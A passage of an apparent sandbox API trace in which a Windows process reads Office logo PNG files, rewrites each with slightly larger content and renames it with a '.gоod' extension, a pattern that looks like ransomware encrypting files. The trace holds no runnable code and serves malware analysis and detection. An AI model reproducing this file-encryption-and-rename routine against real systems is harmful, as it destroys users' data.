nNumberOfBytesToWrite=0x5e0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3785760*, lpNumberOfBytesWritten=0x1fcee148*=0x5e0, lpOverlapped=0x0) returned 1 [0224.852] CloseHandle (hObject=0x864) returned 1 [0224.852] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x66 [0224.852] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png.gоod", lpFilePart=0x0) returned 0x6b [0224.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0224.852] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x823b6a92, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5e0)) returned 1 [0224.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0224.852] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-80.png.gоod")) returned 1 [0224.853] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x58 [0224.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0224.853] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x3786ab0 | out: lpFileInformation=0x3786ab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa56)) returned 1 [0224.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0224.853] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x58 [0224.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0224.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0224.853] GetFileType (hFile=0x864) returned 0x1 [0224.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0224.853] GetFileType (hFile=0x864) returned 0x1 [0224.853] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xa56 [0224.853] ReadFile (in: hFile=0x864, lpBuffer=0x3787840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3787840*, lpNumberOfBytesRead=0x1fcee238*=0xa56, lpOverlapped=0x0) returned 1 [0224.855] CloseHandle (hObject=0x864) returned 1 [0224.865] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x58 [0224.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0224.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0224.867] GetFileType (hFile=0x864) returned 0x1 [0224.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0224.867] GetFileType (hFile=0x864) returned 0x1 [0224.867] WriteFile (in: hFile=0x864, lpBuffer=0x3802088*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3802088*, lpNumberOfBytesWritten=0x1fcee148*=0xa60, lpOverlapped=0x0) returned 1 [0224.867] CloseHandle (hObject=0x864) returned 1 [0224.868] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x58 [0224.868] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png.gоod", lpFilePart=0x0) returned 0x5d [0224.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0224.868] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x823dcc2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa60)) returned 1 [0224.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0224.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-100.png.gоod")) returned 1 [0224.868] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x58 [0224.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0224.869] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x3803390 | out: lpFileInformation=0x3803390*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd76)) returned 1 [0224.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0224.869] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x58 [0224.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0224.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0224.869] GetFileType (hFile=0x864) returned 0x1 [0224.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0224.869] GetFileType (hFile=0x864) returned 0x1 [0224.869] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xd76 [0224.869] ReadFile (in: hFile=0x864, lpBuffer=0x3804440, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3804440*, lpNumberOfBytesRead=0x1fcee238*=0xd76, lpOverlapped=0x0) returned 1 [0225.338] CloseHandle (hObject=0x864) returned 1 [0226.129] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x58 [0226.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0226.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0226.131] GetFileType (hFile=0x858) returned 0x1 [0226.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0226.131] GetFileType (hFile=0x858) returned 0x1 [0226.131] WriteFile (in: hFile=0x858, lpBuffer=0x3831830*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3831830*, lpNumberOfBytesWritten=0x1fcee148*=0xd80, lpOverlapped=0x0) returned 1 [0226.131] CloseHandle (hObject=0x858) returned 1 [0226.132] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x58 [0226.132] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png.gоod", lpFilePart=0x0) returned 0x5d [0226.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0226.132] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x82fee9ec, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0226.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0226.132] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-140.png.gоod")) returned 1 [0226.133] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x58 [0226.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0226.133] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x3832b38 | out: lpFileInformation=0x3832b38*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11d7)) returned 1 [0226.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0226.133] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x58 [0226.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0226.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0226.133] GetFileType (hFile=0x858) returned 0x1 [0226.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0226.134] GetFileType (hFile=0x858) returned 0x1 [0226.134] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0226.134] ReadFile (in: hFile=0x858, lpBuffer=0x3832fe0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3832fe0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1d7, lpOverlapped=0x0) returned 1 [0226.135] CloseHandle (hObject=0x858) returned 1 [0226.135] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x58 [0226.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0226.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0226.135] GetFileType (hFile=0x858) returned 0x1 [0226.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0226.136] GetFileType (hFile=0x858) returned 0x1 [0226.136] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x11d7 [0226.136] WriteFile (in: hFile=0x858, lpBuffer=0x3834900*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3834900*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0226.136] CloseHandle (hObject=0x858) returned 1 [0226.136] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x58 [0226.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0226.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0226.136] GetFileType (hFile=0x858) returned 0x1 [0226.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0226.136] GetFileType (hFile=0x858) returned 0x1 [0226.136] ReadFile (in: hFile=0x858, lpBuffer=0x3836c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3836c08*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0227.311] CloseHandle (hObject=0x858) returned 1 [0227.311] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x58 [0227.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0227.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0227.312] GetFileType (hFile=0x858) returned 0x1 [0227.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0227.312] GetFileType (hFile=0x858) returned 0x1 [0227.312] WriteFile (in: hFile=0x858, lpBuffer=0x3617410*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3617410*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0227.349] CloseHandle (hObject=0x858) returned 1 [0227.349] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x58 [0227.349] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png.gоod", lpFilePart=0x0) returned 0x5d [0227.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0227.349] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x83b8e400, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x11e7)) returned 1 [0227.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0227.349] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-180.png.gоod")) returned 1 [0227.350] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x57 [0227.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0227.350] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3860b08 | out: lpFileInformation=0x3860b08*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x850)) returned 1 [0227.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0227.351] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x57 [0227.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0227.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0227.351] GetFileType (hFile=0x858) returned 0x1 [0227.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0227.351] GetFileType (hFile=0x858) returned 0x1 [0227.351] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x850 [0227.351] ReadFile (in: hFile=0x858, lpBuffer=0x3861680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3861680*, lpNumberOfBytesRead=0x1fcee238*=0x850, lpOverlapped=0x0) returned 1 [0227.353] CloseHandle (hObject=0x858) returned 1 [0227.364] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x57 [0227.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0227.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0227.366] GetFileType (hFile=0x858) returned 0x1 [0227.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 